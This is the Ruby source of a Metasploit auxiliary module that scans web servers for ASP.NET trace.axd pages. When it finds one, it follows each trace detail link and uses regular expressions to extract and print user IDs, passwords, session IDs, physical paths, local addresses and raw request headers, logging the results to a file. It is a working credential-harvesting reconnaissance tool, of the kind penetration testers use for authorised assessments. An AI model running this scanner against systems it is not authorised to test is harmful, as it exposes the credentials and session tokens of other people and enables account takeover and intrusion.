HTTP trace.axd Content Scanner

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  # Exploit mixins should be called first
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::WmapScanDir
  # Scanner mixin should be near last
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'HTTP trace.axd Content Scanner',
      'Description' => 'Detect trace.axd files and analyze its content',
      'Author'       => ['c4an'],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        OptString.new('PATH',  [ true,  "The test path to find trace.axd file", '/']),
        OptBool.new('TRACE_DETAILS', [ true,  "Display trace.axd details", true ])
      ])

    register_advanced_options(
      [
        OptString.new('StoreFile', [ false,  "Store all information into a file", './trace_axd.log'])
      ])
  end

  def run_host(target_host)
    tpath = normalize_uri(datastore['PATH'])
    if tpath[-1,1] != '/'
      tpath += '/'
    end

    begin
      turl = tpath+'trace.axd'

      res = send_request_cgi({
        'uri'          => turl,
        'method'       => 'GET',
        'version' => '1.0',
      }, 10)


      if res and res.body.include?("<td><h1>Application Trace</h1></td>")
        print_good("[#{target_host}] #{tpath}trace.axd FOUND.")

        report_note(
            :host	=> target_host,
            :proto => 'tcp',
            :sname => (ssl ? 'https' : 'http'),
            :port	=> rport,
            :type	=> 'TRACE_AXD',
            :data	=> "#{tpath}trace.axd",
            :update => :unique_data
          )

        if datastore['TRACE_DETAILS']

          aregex = /Trace.axd\?id=\d/
          result = res.body.scan(aregex).uniq

          result.each do |u|
            turl = tpath+u.to_s

            res = send_request_cgi({
              'uri'          => turl,
              'method'       => 'GET',
              'version' => '1.0',
            }, 10)

            if res
              reg_info = [
                /<td>UserId<\/td><td>(\w+.*)<\/td>/,
                /<td>Password<\/td><td>(\w+.*)<\/td>/,
                /<td>APPL_PHYSICAL_PATH<\/td><td>(\w+.*)<\/td>/,
                /<td>AspFilterSessionId<\/td><td>(\w+.*)<\/td>/,
                /<td>Via<\/td><td>(\w+.*)<\/td>/,/<td>LOCAL_ADDR<\/td><td>(\w+.*)<\/td>/,
                /<td>ALL_RAW<\/td><td>((.+\n)+)<\/td>/
              ]
              print_status("DETAIL: #{turl}")
              reg_info.each do |reg|
                result = res.body.scan(reg).flatten.map{|s| s.strip}.uniq
                str = result.to_s.chomp


                if reg.to_s.include?"APPL_PHYSICAL_PATH"
                  print_status("Physical Path: #{str}")
                elsif reg.to_s.include?"UserId"
                  print_status("User ID: #{str}")
                elsif reg.to_s.include?"Password"
                  print_status("Password: #{str}")
                elsif reg.to_s.include?"AspFilterSessionId"
                  print_status("Session ID: #{str}")
                elsif reg.to_s.include?"LOCAL_ADDR"
                  print_status("Local Address: #{str}")
                elsif result.include?"Via"
                  print_status("VIA: #{str}")
                elsif reg.to_s.include?"ALL_RAW"
                  print_status("Headers: #{str}")
                end
              end
            end
          end
        end
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end